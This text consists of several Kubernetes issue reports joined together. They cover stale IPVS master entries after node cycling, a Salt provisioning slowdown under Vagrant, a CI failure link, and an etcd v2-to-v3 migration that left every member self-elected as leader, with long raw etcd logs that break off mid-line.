what happened  :\r we regularly cycle out master nodes in our clusters for various reasons, such as security updates, version upgrades, etc.  after upgrade to 1.13.1, we are noticing that various nodes within the cluster begin to fail to be able to communicate with any master node and we've traced the issue back to ipvs having far too many master nodes within the vip.   we have max of 3x master nodes at any time \r \r from an example node\r    \r $ sudo ipvsadm -l -n | grep -a5 172.17.0.1:443\r tcp  172.17.0.1:443 rr persistent 10800\r   -> 10.0.134.254:6443            masq    0      0          4\r   -> 10.0.137.45:6443             masq    1      0          0\r   -> 10.0.144.81:6443             masq    0      0          11\r   -> 10.0.153.246:6443            masq    1      0          0\r   -> 10.0.163.20:6443             masq    1      0          0\r    \r \r during this time, these were the 3x master nodes within the cluster:\r    \r m5.xlarge  \t10.0.163.20\tus-east-1c\trunning\t33 minutes ago\tdevclus0-k8s-master\r m5.xlarge  \t10.0.137.45\tus-east-1a\trunning\t40 minutes ago\tdevclus0-k8s-master\r m5.xlarge  \t10.0.153.246\tus-east-1b\trunning\t25 minutes ago\tdevclus0-k8s-master\r    \r \r when this happens we see traffic like this in the logs\r \r    \r e0212 03:10:00.478864 1 reflector.go:205  our_app/vendor/k8s.io/client-go/informers/factory.go:130: failed to list  v1.pod: get https://172.17.0.1:443/api/v1/pods?limit=500&resourceversion=0: dial tcp 172.17.0.1:443: connect: no route to host\r    \r \r the only way we've found to recover within a reasonable time frame  1 hour or so , is to login to each node and execute a removal of the ghost entry ies  from ipvs\r  sudo ipvsadm -d -t 172.17.0.1:443 -r 10.0.144.81:6443:6443 \r \r the automated procedure we follow to cycle the master nodes out is as follows\r \r 1. delete first node from k8s cluster via client.go  kubeclient.corev1  .nodes  .delete   \r 2. terminate the instance within ec2 autoscale group\r 3. wait for new instance to come online, and be healthy within ec2, and the ec2 target group\r 4. wait for it to be seen as healthy within k8s  condition.reason == \ kubeletready\  && condition.type == corev1.nodeready \r 5. repeat with next node until all 3x are cycled\r \r   what you expected to happen  :\r i would expect that the ipvs vip would be updated with the correct entries for the master nodes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 3x node masters in ec2 using autoscale group with another non-master node, and cycle out the master nodes in order using above procedure\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\  \r - cloud provider or hardware configuration:\r aws ec2\r masters are  m5.xlarge \r - os  e.g. from /etc/os-release :\r    \r $ cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.5 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.5 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r $ uname -a\r linux ip-10-0-163-20 4.4.0-1074-aws  84-ubuntu smp thu dec 6 08:57:58 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:\r client-go version\r    \r   override  \r   name = \ k8s.io/client-go\ \r   version = \ kubernetes-1.10.0\ \r

i'm wondering if there's a way to get around the salt provisioning taking a long time  sometimes forever .  if i'm using vagrant to spin up kubernetes cluster, it's a generally viable assumption that i'm running locally for test purposes.  assuming i'm right in that the problem with salt provisioning is the generation of random data  i haven't checked that assumption , would it be possible to provide an option to use /dev/urandom instead of /dev/random for non-blocking data generation?

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-serial/93/  run so broken it didn't make junit output!

i tried a live upgrade from v2 -> v3  i.e. without stopping the apiserver or etcd before proceeding .  after the upgrade, all 3 members of my cluster thought they were the leader.\r \r highlights  full log below  seem to show that it removes the other two peers for some reason, whereupon it is able to self-elect.  all three nodes exhibit the same behaviour:\r \r    \r ...\r 2017-03-24 01:21:59.113908 i | raft: newraft bcfded7555b0b362  peers:   , term: 7, commit: 3720, applied: 0, lastindex: 3720, lastterm: 7 \r 2017-03-24 01:21:59.121101 i | etcdserver: starting server...  version: 3.0.17, cluster version: to_be_decided \r 2017-03-24 01:21:59.126500 i | membership: added member 4f1f10f8d2cc6b34  http://etcd-c.internal.ha.awsdata.com:2380  to cluster 10ac014d803ac90f\r ...\r 2017-03-24 01:21:59.127396 i | membership: added member bcfded7555b0b362  http://etcd-d.internal.ha.awsdata.com:2380  to cluster 10ac014d803ac90f\r 2017-03-24 01:21:59.127479 i | membership: added member d39c0c65404bd457  http://etcd-b.internal.ha.awsdata.com:2380  to cluster 10ac014d803ac90f\r ...\r 2017-03-24 01:21:59.148207 i | rafthttp: started streaming with peer d39c0c65404bd457  stream message reader \r 2017-03-24 01:21:59.213585 i | membership: removed member 4f1f10f8d2cc6b34 from cluster 10ac014d803ac90f\r ...\r 2017-03-24 01:21:59.213972 i | membership: removed member d39c0c65404bd457 from cluster 10ac014d803ac90f\r    \r \r full log:\r \r    \r 2017-03-24 01:15:59 detecting if migration is needed\r performing etcd2 -> etcd3 migration\r using default transformer\r 2017-03-24 01:16:00.747780 i | membership: added member 4f1f10f8d2cc6b34  http://etcd-c.internal.ha.awsdata.com:2380  to cluster 0\r 2017-03-24 01:16:00.747903 i | membership: added member bcfded7555b0b362  http://etcd-d.internal.ha.awsdata.com:2380  to cluster 0\r 2017-03-24 01:16:00.747980 i | membership: added member d39c0c65404bd457  http://etcd-b.internal.ha.awsdata.com:2380  to cluster 0\r 2017-03-24 01:16:00.748096 n | membership: set the initial cluster version to 2.3\r 2017-03-24 01:16:00.748127 i | api: enabled capabilities for version 2.3\r 2017-03-24 01:16:00.751704 n | membership: updated the cluster version from 2.3 to 3.0\r 2017-03-24 01:16:00.751751 i | api: enabled capabilities for version 3.0\r finished transforming keys\r attaching leases to ttl entries\r 2017-03-24 01:16:01.222877 i | flags: recognized and used environment variable etcd_initial_cluster=etcd-b=http://etcd-b.internal.ha.awsdata.com:2380,etcd-c=http://etcd-c.internal.ha.awsdata.com:2380,etcd-d=http://etcd-d.internal.ha.awsdata.com:2380\r 2017-03-24 01:16:01.222920 i | flags: recognized and used environment variable etcd_initial_cluster_state=new\r 2017-03-24 01:16:01.222935 i | flags: recognized and used environment variable etcd_initial_cluster_token=etcd-cluster-token-etcd\r 2017-03-24 01:16:01.222978 i | flags: recognized environment variable etcd_advertise_client_urls, but unused: shadowed by corresponding flag \r 2017-03-24 01:16:01.222986 i | flags: recognized environment variable etcd_initial_advertise_peer_urls, but unused: shadowed by corresponding flag \r 2017-03-24 01:16:01.222993 i | flags: recognized environment variable etcd_data_dir, but unused: shadowed by corresponding flag \r 2017-03-24 01:16:01.222999 i | flags: recognized environment variable etcd_name, but unused: shadowed by corresponding flag \r 2017-03-24 01:16:01.223006 i | flags: recognized environment variable etcd_listen_client_urls, but unused: shadowed by corresponding flag \r 2017-03-24 01:16:01.223012 i | flags: recognized environment variable etcd_listen_peer_urls, but unused: shadowed by corresponding flag \r 2017-03-24 01:16:01.223043 i | etcdmain: etcd version: 3.0.17\r 2017-03-24 01:16:01.223050 i | etcdmain: git sha: cc198e2\r 2017-03-24 01:16:01.223055 i | etcdmain: go version: go1.6.4\r 2017-03-24 01:16:01.223061 i | etcdmain: go os/arch: linux/amd64\r 2017-03-24 01:16:01.223067 i | etcdmain: setting maximum number of cpus to 1, total number of available cpus is 1\r 2017-03-24 01:16:01.223101 w | etcdmain: found invalid file/dir version.txt under data dir /var/etcd/data  ignore this if you are upgrading etcd \r 2017-03-24 01:16:01.223111 n | etcdmain: the server is already initialized as member before, starting as etcd member...\r 2017-03-24 01:16:01.223182 i | etcdmain: listening for peers on http://127.0.0.1:2380\r 2017-03-24 01:16:01.223211 i | etcdmain: listening for client requests on 127.0.0.1:18629\r 2017-03-24 01:16:01.226330 i | etcdserver: name = etcd-ip-172-20-103-65\r 2017-03-24 01:16:01.226342 i | etcdserver: force new cluster\r 2017-03-24 01:16:01.226348 i | etcdserver: data dir = /var/etcd/data\r 2017-03-24 01:16:01.226354 i | etcdserver: member dir = /var/etcd/data/member\r 2017-03-24 01:16:01.226360 i | etcdserver: heartbeat = 100ms\r 2017-03-24 01:16:01.226366 i | etcdserver: election = 1000ms\r 2017-03-24 01:16:01.226372 i | etcdserver: snapshot count = 10000\r 2017-03-24 01:16:01.226381 i | etcdserver: advertise client urls = http://127.0.0.1:18629\r 2017-03-24 01:16:01.472050 i | etcdserver: discarding 1 uncommitted wal entries \r 2017-03-24 01:16:01.477867 i | etcdserver: forcing restart of member bcfded7555b0b362 in cluster 10ac014d803ac90f at commit index 3714\r 2017-03-24 01:16:01.506223 i | raft: bcfded7555b0b362 became follower at term 6\r 2017-03-24 01:16:01.506259 i | raft: newraft bcfded7555b0b362  peers:   , term: 6, commit: 3714, applied: 0, lastindex: 3714, lastterm: 6 \r 2017-03-24 01:16:01.523113 i | etcdserver: starting server...  version: 3.0.17, cluster version: to_be_decided \r 2017-03-24 01:16:01.524301 i | membership: added member 4f1f10f8d2cc6b34  http://etcd-c.internal.ha.awsdata.com:2380  to cluster 10ac014d803ac90f\r 2017-03-24 01:16:01.524328 i | rafthttp: starting peer 4f1f10f8d2cc6b34...\r 2017-03-24 01:16:01.524345 i | rafthttp: started http pipelining with peer 4f1f10f8d2cc6b34\r 2017-03-24 01:16:01.554301 i | rafthttp: started peer 4f1f10f8d2cc6b34\r 2017-03-24 01:16:01.554348 i | rafthttp: added peer 4f1f10f8d2cc6b34\r 2017-03-24 01:16:01.554453 i | rafthttp: started streaming with peer 4f1f10f8d2cc6b34  writer \r 2017-03-24 01:16:01.554478 i | rafthttp: started streaming with peer 4f1f10f8d2cc6b34  writer \r 2017-03-24 01:16:01.554829 i | rafthttp: started streaming with peer 4f1f10f8d2cc6b34  stream msgapp v2 reader \r 2017-03-24 01:16:01.555548 i | rafthttp: started streaming with peer 4f1f10f8d2cc6b34  stream message reader \r 2017-03-24 01:16:01.556726 i | membership: added member bcfded7555b0b362  http://etcd-d.internal.ha.awsdata.com:2380  to cluster 10ac014d803ac90f\r 2017-03-24 01:16:01.556823 i | membership: added member d39c0c65404bd457  http://etcd-b.internal.ha.awsdata.com:2380  to cluster 10ac014d803ac90f\r 2017-03-24 01:16:01.556889 i | rafthttp: starting peer d39c0c65404bd457...\r 2017-03-24 01:16:01.556911 i | rafthttp: started http pipelining with peer d39c0c65404bd457\r 2017-03-24 01:16:01.557298 i | rafthttp: started peer d39c0c65404bd457\r 2017-03-24 01:16:01.557314 i | rafthttp: added peer d39c0c65404bd457\r 2017-03-24 01:16:01.557451 n | membership: set the initial cluster version to 2.3\r 2017-03-24 01:16:01.557483 i | api: enabled capabilities for version 2.3\r 2017-03-24 01:16:01.558428 n | membership: updated the cluster version from 2.3 to 3.0\r 2017-03-24 01:16:01.558478 i | api: enabled capabilities for version 3.0\r 2017-03-24 01:16:01.583495 i | rafthttp: started streaming with peer d39c0c65404bd457  writer \r 2017-03-24 01:16:01.583565 i | rafthttp: started streaming with peer d39c0c65404bd457  writer \r 2017-03-24 01:16:01.583608 i | rafthttp: started streaming with peer d39c0c65404bd457  stream msgapp v2 reader \r 2017-03-24 01:16:01.583926 i | rafthttp: started streaming with peer d39c0c65404bd457  stream message reader \r 2017-03-24 01:16:01.790276 d | rafthttp: failed to dial 4f1f10f8d2cc6b34 on stream message  the member has been permanently removed from the cluster \r 2017-03-24 01:16:01.790347 e | etcdserver: the member has been permanently removed from the cluster\r 2017-03-24 01:16:01.790356 i | etcdserver: the data-dir used by this member must be removed.\r 2017-03-24 01:16:01.792748 i | membership: removed member 4f1f10f8d2cc6b34 from cluster 10ac014d803ac90f\r 2017-03-24 01:16:01.792765 i | rafthttp: stopping peer 4f1f10f8d2cc6b34...\r 2017-03-24 01:16:01.792779 i | rafthttp: stopped streaming with peer 4f1f10f8d2cc6b34  writer \r 2017-03-24 01:16:01.792789 i | rafthttp: stopped streaming with peer 4f1f10f8d2cc6b34  writer \r 2017-03-24 01:16:01.792811 d | rafthttp: failed to dial 4f1f10f8d2cc6b34 on stream msgapp v2  the member has been permanently removed from the cluster \r 2017-03-24 01:16:01.792830 i | rafthttp: stopped http pipelining with peer 4f1f10f8d2cc6b34\r 2017-03-24 01:16:01.792841 i | rafthttp: stopped streaming with peer 4f1f10f8d2cc6b34  stream msgapp v2 reader \r 2017-03-24 01:16:01.792850 i | rafthttp: stopped streaming with peer 4f1f10f8d2cc6b34  stream message reader \r 2017-03-24 01:16:01.792858 i | rafthttp: stopped peer 4f1f10f8d2cc6b34\r 2017-03-24 01:16:01.792867 i | rafthttp: removed peer 4f1f10f8d2cc6b34\r 2017-03-24 01:16:01.792946 i | membership: removed member d39c0c65404bd457 from cluster 10ac014d803ac90f\r 2017-03-24 01:16:01.792957 i | rafthttp: stopping peer d39c0c65404bd457...\r 2017-03-24 01:16:01.792968 i | rafthttp: stopped streaming with peer d39c0c65404bd457  writer \r 2017-03-24 01:16:01.792980 i | rafthttp: stopped streaming with peer d39c0c65404bd457  writer \r 2017-03-24 01:16:01.793004 i | rafthttp: stopped http pipelining with peer d39c0c65404bd457\r 2017-03-24 01:16:01.793026 d | rafthttp: failed to dial d39c0c65404bd457 on stream msgapp v2  net/http: request canceled while waiting for connection \r 2017-03-24 01:16:01.793045 i | rafthttp: stopped streaming with peer d39c0c65404bd457  stream msgapp v2 reader \r 2017-03-24 01:16:01.793059 d | rafthttp: failed to dial d39c0c65404bd457 on stream message  net/http: request canceled while waiting for connection \r 2017-03-24 01:16:01.793068 i | rafthttp: stopped streaming with peer d39c0c65404bd457  stream message reader \r 2017-03-24 01:16:01.793076 i | rafthttp: stopped peer d39c0c65404bd457\r 2017-03-24 01:16:01.793084 i | rafthttp: removed peer d39c0c65404bd457\r 2017-03-24 01:16:01.795490 i | etcdserver: aborting publish because server is stopped\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r error:  context deadline exceeded\r 2017-03-24 01:21:57 detecting if migration is needed\r performing etcd2 -> etcd3 migration\r using default transformer\r 2017-03-24 01:21:57.383881 i | membership: added member 4f1f10f8d2cc6b34  http://etcd-c.internal.ha.awsdata.com:2380  to cluster 0\r 2017-03-24 01:21:57.384005 i | membership: added member bcfded7555b0b362  http://etcd-d.internal.ha.awsdata.com:2380  to cluster 0\r 2017-03-24 01:21:57.384068 i | membership: added member d39c0c65404bd457  http://etcd-b.internal.ha.awsdata.com:2380  to cluster 0\r 2017-03-24 01:21:57.384178 n | membership: set the initial cluster version to 2.3\r 2017-03-24 01:21:57.384203 i | api: enabled capabilities for version 2.3\r 2017-03-24 01:21:57.387081 n | membership: updated the cluster version from 2.3 to 3.0\r 2017-03-24 01:21:57.387138 i | api: enabled capabilities for version 3.0\r 2017-03-24 01:21:57.450705 i | membership: removed member 4f1f10f8d2cc6b34 from cluster 0\r 2017-03-24 01:21:57.450791 i | membership: removed member d39c0c65404bd457 from cluster 0\r finished transforming keys\r attaching leases to ttl entries\r 2017-03-24 01:21:57.507832 i | flags: recognized and used environment variable etcd_initial_cluster=etcd-b=http://etcd-b.internal.ha.awsdata.com:2380,etcd-c=http://etcd-c.internal.ha.awsdata.com:2380,etcd-d=http://etcd-d.internal.ha.awsdata.com:2380\r 2017-03-24 01:21:57.507917 i | flags: recognized and used environment variable etcd_initial_cluster_state=new\r 2017-03-24 01:21:57.507928 i | flags: recognized and used environment variable etcd_initial_cluster_token=etcd-cluster-token-etcd\r 2017-03-24 01:21:57.507977 i | flags: recognized environment variable etcd_advertise_client_urls, but unused: shadowed by corresponding flag \r 2017-03-24 01:21:57.507985 i | flags: recognized environment variable etcd_initial_advertise_peer_urls, but unused: shadowed by corresponding flag \r 2017-03-24 01:21:57.507991 i | flags: recognized environment variable etcd_data_dir, but unused: shadowed by corresponding flag \r 2017-03-24 01:21:57.507997 i | flags: recognized environment variable etcd_name, but unused: shadowed by corresponding flag \r 2017-03-24 01:21:57.508003 i | flags: recognized environment variable etcd_listen_client_urls, but unused: shadowed by corresponding flag \r 2017-03-24 01:21:57.508009 i | flags: recognized environment variable etcd_listen_peer_urls, but unused: shadowed by corresponding flag \r 2017-03-24 01:21:57.508041 i | etcdmain: etcd version: 3.0.17\r 2017-03-24 01:21:57.508048 i | etcdmain: git sha: cc198e2\r 2017-03-24 01:21:57.508070 i | etcdmain: go version: go1.6.4\r 2017-03-24 01:21:57.508077 i | etcdmain: go os/arch: linux/amd64\r 2017-03-24 01:21:57.508083 i | etcdmain: setting maximum number of cpus to 1, total number of available cpus is 1\r 2017-03-24 01:21:57.508116 w | etcdmain: found invalid file/dir version.txt under data dir /var/etcd/data  ignore this if you are upgrading etcd \r 2017-03-24 01:21:57.508126 n | etcdmain: the server is already initialized as member before, starting as etcd member...\r 2017-03-24 01:21:57.508191 i | etcdmain: listening for peers on http://127.0.0.1:2380\r 2017-03-24 01:21:57.508239 i | etcdmain: listening for client requests on 127.0.0.1:18629\r 2017-03-24 01:21:57.509282 i | etcdserver: name = etcd-ip-172-20-103-65\r 2017-03-24 01:21:57.509293 i | etcdserver: force new cluster\r 2017-03-24 01:21:57.509299 i | etcdserver: data dir = /var/etcd/data\r 2017-03-24 01:21:57.509305 i | etcdserver: member dir = /var/etcd/data/member\r 2017-03-24 01:21:57.509330 i | etcdserver: heartbeat = 100ms\r 2017-03-24 01:21:57.509336 i | etcdserver: election = 1000ms\r 2017-03-24 01:21:57.509342 i | etcdserver: snapshot count = 10000\r 2017-03-24 01:21:57.509351 i | etcdserver: advertise client urls = http://127.0.0.1:18629\r 2017-03-24 01:21:57.581217 i | etcdserver: forcing restart of member bcfded7555b0b362 in cluster 10ac014d803ac90f at commit index 3714\r 2017-03-24 01:21:57.582126 i | raft: bcfded7555b0b362 became follower at term 6\r 2017-03-24 01:21:57.582149 i | raft: newraft bcfded7555b0b362  peers:   , term: 6, commit: 3714, applied: 0, lastindex: 3714, lastterm: 6 \r 2017-03-24 01:21:57.589294 i | etcdserver: starting server...  version: 3.0.17, cluster version: to_be_decided \r 2017-03-24 01:21:57.593403 i | membership: added member 4f1f10f8d2cc6b34  http://etcd-c.internal.ha.awsdata.com:2380  to cluster 10ac014d803ac90f\r 2017-03-24 01:21:57.593429 i | rafthttp: starting peer 4f1f10f8d2cc6b34...\r 2017-03-24 01:21:57.593470 i | rafthttp: started http pipelining with peer 4f1f10f8d2cc6b34\r 2017-03-24 01:21:57.594089 i | rafthttp: started peer 4f1f10f8d2cc6b34\r 2017-03-24 01:21:57.594110 i | rafthttp: added peer 4f1f10f8d2cc6b34\r 2017-03-24 01:21:57.594197 i | membership: added member bcfded7555b0b362  http://etcd-d.internal.ha.awsdata.com:2380  to cluster 10ac014d803ac90f\r 2017-03-24 01:21:57.594279 i | membership: added member d39c0c65404bd457  http://etcd-b.internal.ha.awsdata.com:2380  to cluster 10ac014d803ac90f\r 2017-03-24 01:21:57.594296 i | rafthttp: starting peer d39c0c65404bd457...\r 2017-03-24 01:21:57.594310 i | rafthttp: started http pipelining with peer d39c0c65404bd457\r 2017-03-24 01:21:57.595383 i | rafthttp: started peer d39c0c65404bd457\r 2017-03-24 01:21:57.595407 i | rafthttp: added peer d39c0c65404bd457\r 2017-03-24 01:21:57.595566 n | membership: set the initial cluster version to 2.3\r 2017-03-24 01:21:57.595613 i | api: enabled capabilities for version 2.3\r 2017-03-24 01:21:57.611362 i | rafthttp: started streaming with peer 4f1f10f8d2cc6b34  writer \r 2017-03-24 01:21:57.611397 i | rafthttp: started streaming with peer 4f1f10f8d2cc6b34  writer \r 2017-03-24 01:21:57.611425 i | rafthttp: started streaming with peer 4f1f10f8d2cc6b34  stream msgapp v2 reader \r 2017-03-24 01:21:57.611804 i | rafthttp: started streaming with peer 4f1f10f8d2cc6b34  stream message reader \r 2017-03-24 01:21:57.611949 i | rafthttp: started streaming with peer d39c0c65404bd457  writer \r 2017-03-24 01:21:57.611974 i | rafthttp: started streaming with peer d39c0c65404bd457  writer \r 2017-03-24 01:21:57.611996 i | rafthttp: started streaming with peer d39c0c65404bd457  stream msgapp v2 reader \r 2017-03-24 01:21:57.612144 i | rafthttp: started streaming with peer d39c0c65404bd457  stream message reader \r 2017-03-24 01:21:57.613307 n | membership: updated the cluster version from 2.3 to 3.0\r 2017-03-24 01:21:57.613342 i | api: enabled capabilities for version 3.0\r 2017-03-24 01:21:57.667072 i | membership: removed member 4f1f10f8d2cc6b34 from cluster 10ac014d803ac90f\r 2017-03-24 01:21:57.667104 i | rafthttp: stopping peer 4f1f10f8d2cc6b34...\r 2017-03-24 01:21:57.667118 i | rafthttp: stopped streaming with peer 4f1f10f8d2cc6b34  writer \r 2017-03-24 01:21:57.667129 i | rafthttp: stopped streaming with peer 4f1f10f8d2cc6b34  writer \r 2017-03-24 01:21:57.667303 i | rafthttp: stopped http pipelining with peer 4f1f10f8d2cc6b34\r 2017-03-24 01:21:57.667335 d | rafthttp: failed to dial 4f1f10f8d2cc6b34 on stream msgapp v2  net/http: request canceled while waiting for connection \r 2017-03-24 01:21:57.667348 i | rafthttp: stopped streaming with peer 4f1f10f8d2cc6b34  stream msgapp v2 reader \r 2017-03-24 01:21:57.667364 d | rafthttp: failed to dial 4f1f10f8d2cc6b34 on stream message  net/http: request canceled \r 2017-03-24 01:21:57.667374 i | rafthttp: stopped streaming with peer 4f1f10f8d2cc6b34  stream message reader \r 2017-03-24 01:21:57.667382 i | rafthttp: stopped peer 4f1f10f8d2cc6b34\r 2017-03-24 01:21:57.667392 i | rafthttp: removed peer 4f1f10f8d2cc6b34\r 2017-03-24 01:21:57.667468 i | membership: removed member d39c0c65404bd457 from cluster 10ac014d803ac90f\r 2017-03-24 01:21:57.667479 i | rafthttp: stopping peer d39c0c65404bd457...\r 2017-03-24 01:21:57.667490 i | rafthttp: stopped streaming with peer d39c0c65404bd457  writer \r 2017-03-24 01:21:57.667500 i | rafthttp: stopped streaming with peer d39c0c65404bd457  writer \r 2017-03-24 01:21:57.667556 i | rafthttp: stopped http pipelining with peer d39c0c65404bd457\r 2017-03-24 01:21:57.667579 d | rafthttp: failed to dial d39c0c65404bd457 on stream msgapp v2  net/http: request canceled while waiting for connection \r 2017-03-24 01:21:57.667590 i | rafthttp: stopped streaming with peer d39c0c65404bd457  stream msgapp v2 reader \r 2017-03-24 01:21:57.667605 d | rafthttp: failed to dial d39c0c65404bd457 on stream message  net/http: request canceled \r 2017-03-24 01:21:57.667614 i | rafthttp: stopped streaming with peer d39c0c65404bd457  stream message reader \r 2017-03-24 01:21:57.667622 i | rafthttp: stopped peer d39c0c65404bd457\r 2017-03-24 01:21:57.667630 i | rafthttp: removed peer d39c0c65404bd457\r 2017-03-24 01:21:58.982506 i | raft: bcfded7555b0b362 is starting a new election at term 6\r 2017-03-24 01:21:58.982555 i | raft: bcfded7555b0b362 became candidate at term 7\r 2017-03-24 01:21:58.982564 i | raft: bcfded7555b0b362 received vote from bcfded7555b0b362 at term 7\r 2017-03-24 01:21:58.982609 i | raft: bcfded7555b0b362 became leader at term 7\r 2017-03-24 01:21:58.982623 i | raft: raft.node: bcfded7555b0b362 elected leader bcfded7555b0b362 at term 7\r 2017-03-24 01:21:58.984030 i | etcdserver: published {name:etcd-ip-172-20-103-65 clienturls: http://127.0.0.1:18629 } to cluster 10ac014d803ac90f\r 2017-03-24 01:21:58.984045 i | etcdmain: ready to serve client requests\r 2017-03-24 01:21:58.984364 n | etcdmain: serving insecure client requests on 127.0.0.1:18629, this is strongly discouraged!\r ok\r etcd on port 18629 is up.\r 2017-03-24 01:21:59.011278 n | osutil: received terminated signal, shutting down...\r 2017-03-24 01:21:59 migration finished\r 2017-03-24 01:21:59.025711 i | flags: recognized and used environment variable etcd_advertise_client_urls=http://etcd-d.internal.ha.awsdata.com:4001\r 2017-03-24 01:21:59.025762 i | flags: recognized and used environment variable etcd_data_dir=/var/etcd/data\r 2017-03-24 01:21:59.025790 i | flags: recognized and used environment variable etcd_initial_advertise_peer_urls=http://etcd-d.internal.ha.awsdata.com:2380\r 2017-03-24 01:21:59.025801 i | flags: recognized and used environment variable etcd_initial_cluster=etcd-b=http://etcd-b.internal.ha.awsdata.com:2380,etcd-c=http://etcd-c.internal.ha.awsdata.com:2380,etcd-d=http://etcd-d.internal.ha.awsdata.com:2380\r 2017-03-24 01:21:59.025809 i | flags: recognized and used environment variable etcd_initial_cluster_state=new\r 2017-03-24 01:21:59.025834 i | flags: recognized and used environment variable etcd_initial_cluster_token=etcd-cluster-token-etcd\r 2017-03-24 01:21:59.025855 i | flags: recognized and used environment variable etcd_listen_client_urls=http://0.0.0.0:4001\r 2017-03-24 01:21:59.025869 i | flags: recognized and used environment variable etcd_listen_peer_urls=http://0.0.0.0:2380\r 2017-03-24 01:21:59.025884 i | flags: recognized and used environment variable etcd_name=etcd-d\r 2017-03-24 01:21:59.025941 i | etcdmain: etcd version: 3.0.17\r 2017-03-24 01:21:59.025948 i | etcdmain: git sha: cc198e2\r 2017-03-24 01:21:59.025953 i | etcdmain: go version: go1.6.4\r 2017-03-24 01:21:59.025959 i | etcdmain: go os/arch: linux/amd64\r 2017-03-24 01:21:59.025965 i | etcdmain: setting maximum number of cpus to 1, total number of available cpus is 1\r 2017-03-24 01:21:59.026013 w | etcdmain: found invalid file/dir version.txt under data dir /var/etcd/data  ignore this if you are upgrading etcd \r 2017-03-24 01:21:59.026024 n | etcdmain: the server is already initialized as member before, starting as etcd member...\r 2017-03-24 01:21:59.026085 i | etcdmain: listening for peers on http://0.0.0.0:2380\r 2017-03-24 01:21:59.026112 i | etcdmain: listening for client requests on 0.0.0.0:4001\r 2017-03-24 01:21:59.027021 i | etcdserver: name = etcd-d\r 2017-03-24 01:21:59.027032 i | etcdserver: data dir = /var/etcd/data\r 2017-03-24 01:21:59.027039 i | etcdserver: member dir = /var/etcd/data/member\r 2017-03-24 01:21:59.027045 i | etcdserver: heartbeat = 100ms\r 2017-03-24 01:21:59.027051 i | etcdserver: election = 1000ms\r 2017-03-24 01:21:59.027056 i | etcdserver: snapshot count = 10000\r 2017-03-24 01:21:59.027066 i | etcdserver: advertise client urls = http://etcd-d.internal.ha.awsdata.com:4001\r 2017-03-24 01:21:59.112817 i | etcdserver: restarting member bcfded7555b0b362 in cluster 10ac014d803ac90f at commit index 3720\r 2017-03-24 01:21:59.113883 i | raft: bcfded7555b0b362 became follower at term 7\r 2017-03-24 01:21:59.113908 i | raft: newraft bcfded7555b0b362  peers:   , term: 7, commit: 3720, applied: 0, lastindex: 3720, lastterm: 7 \r 2017-03-24 01:21:59.121101 i | etcdserver: starting server...  version: 3.0.17, cluster version: to_be_decided \r 2017-03-24 01:21:59.126500 i | membership: added member 4f1f10f8d2cc6b34  http://etcd-c.internal.ha.awsdata.com:2380  to cluster 10ac014d803ac90f\r 2017-03-24 01:21:59.126527 i | rafthttp: starting peer 4f1f10f8d2cc6b34...\r 2017-03-24 01:21:59.126563 i | rafthttp: started http pipelining with peer 4f1f10f8d2cc6b34\r 2017-03-24 01:21:59.127284 i | rafthttp: started peer 4f1f10f8d2cc6b34\r 2017-03-24 01:21:59.127305 i | rafthttp: added peer 4f1f10f8d2cc6b34\r 2017-03-24 01:21:59.127396 i | membership: added member bcfded7555b0b362  http://etcd-d.internal.ha.awsdata.com:2380  to cluster 10ac014d803ac90f\r 2017-03-24 01:21:59.127479 i | membership: added member d39c0c65404bd457  http://etcd-b.internal.ha.awsdata.com:2380  to cluster 10ac014d803ac90f\r 2017-03-24 01:21:59.127496 i | rafthttp: starting peer d39c0c65404bd457...\r 2017-03-24 01:21:59.127511 i | rafthttp: started http pipelining with peer d39c0c65404bd457\r 2017-03-24 01:21:59.128609 i | rafthttp: started peer d39c0c65404bd457\r 2017-03-24 01:21:59.128634 i | rafthttp: added peer d39c0c65404bd457\r 2017-03-24 01:21:59.128805 n | membership: set the initial cluster version to 2.3\r 2017-03-24 01:21:59.128854 i | api: enabled capabilities for version 2.3\r 2017-03-24 01:21:59.135605 n | membership: updated the cluster version from 2.3 to 3.0\r 2017-03-24 01:21:59.135658 i | api: enabled capabilities for version 3.0\r 2017-03-24 01:21:59.147385 i | rafthttp: started streaming with peer 4f1f10f8d2cc6b34  writer \r 2017-03-24 01:21:59.147415 i | rafthttp: started streaming with peer 4f1f10f8d2cc6b34  writer \r 2017-03-24 01:21:59.147444 i | rafthttp: started streaming with peer 4f1f10f8d2cc6b34  stream msgapp v2 reader \r 2017-03-24 01:21:59.147809 i | rafthttp: started streaming with peer 4f1f10f8d2cc6b34  stream message reader \r 2017-03-24 01:21:59.147950 i | 